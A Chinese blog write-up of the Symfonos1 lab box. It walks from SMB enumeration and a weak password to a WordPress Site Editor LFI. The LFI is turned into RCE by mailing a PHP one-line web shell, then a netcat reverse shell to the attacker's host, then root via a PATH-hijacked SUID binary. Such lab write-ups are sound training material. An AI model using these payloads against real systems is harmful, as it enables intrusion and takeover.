Symfonos1

靶机下载地址:这里

靶机难度:初级

靶机发布日期:29 Jun 2019

 

知识点:

nmap端口扫描

samba服务信息收集

wordpress插件利用

反弹shell

Linux环境变量提权

 

启动靶机,用找到扫描局域网找到靶机IP

靶机IP为 192.168.133.151

 进行端口扫描, 开放了22、25、80、139、445端口

 

扫描网站

 访问一下网页80端口

 没有比较明显的突破,但是服务器还开启了samba服务,看一下服务器分享的所有资源

 可以看到有两个用户,一个是匿名用户anonymous,另一个是helios,登入匿名用户

发现一个文件,把它下载下来,读取内容:”再使用'epidioko', 'qwerty' and 'baseball'这类的密码就被开除“

推测用户helios的密码是这三个中的一个,尝试登入发现密码是 ”qwerty“ ,看一下这个用户的smb可以访问的资源

有两个文件,依此下载读取,esearch.txt的内容是神话故事,todo.txt中的第三点/h3l105可能是一个目录

于是访问一下这个目录,可以看到网站是由wordpress搭建的

点击下面的链接,会跳转到symfonos.local/h3l105 ,需要用hosts让ip地址与主机名之间建立映射,在/etc/hosts里面添加ip和域名,才能正常解析

 可以正常访问之后,就可以用wpscan枚举插件

wpscan --url http://symfonos.local/h3l105/ -eap

 发现了两个插件,而且两个插件都有漏洞

searchsploit site editor 1.1.1
earchsploit mail masta 1.0

 这里用site editor 1.1.1的LFI来测试一下,先把44340.txt下载下来

searchsploit -m 44340.txt 

 然后找到POC

 尝试利用POC读取/etc/passwd,并且成功读取,说明漏洞可以利用

http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

前面扫描发现服务器还开放了25端口,25端口开放的是SMTP服务,尝试读取用户helios的邮件日志

http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios

成功读取用户日志,那么可以通过污染邮件日志,让LFI变成RCE

我们可以用telnet向helios发送植入一句话木马的邮件,再利用插件的本地文件包含漏洞让其可以远程命令执行

MAIL FROM: test
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

测试一下RCE,并且成功执行

http://192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&shell=id

 那就可以利用这个RCE反弹一个shell,使用nc在kali上监听9999端口

nc-lvp 9999

 然后访问这个链接,即执行nc -e /bin/bash 192.168.133.130 9999

192.168.133.151/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&shell=nc -e /bin/bash  192.168.133.130 9999

 成功反弹shell, 然后用python将shell转化成交互式tty

python -c "import pty;pty.spawn('/bin/bash')"

 现在只是一个普通用户,需要进一步提权成root权限

用find找到启用SUID的二进制文件,看到一个通常不属于这里面的一个二进制文件

find / -perm -4000 -type f 2>/dev/null

 

用strings查看里面的信息,发现该程序调用curl

那么我们可以建一个假的curl,追加/tmp到环境变量开头,这样系统调用curl的时候就可以执行假的curl,进而达到提权效果

cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck

成功获得root权限

 

 

总结:利用samba服务器获得信息和已知的wordpress插件漏洞让LFI变成RCE,最后利用Linux环境变量提权

 

参考链接如下

https://www.jianshu.com/p/ddcb97b8c069

https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

 

posted @ 2020-04-09 16:34  高诺琪  阅读(830)  评论(0编辑  收藏  举报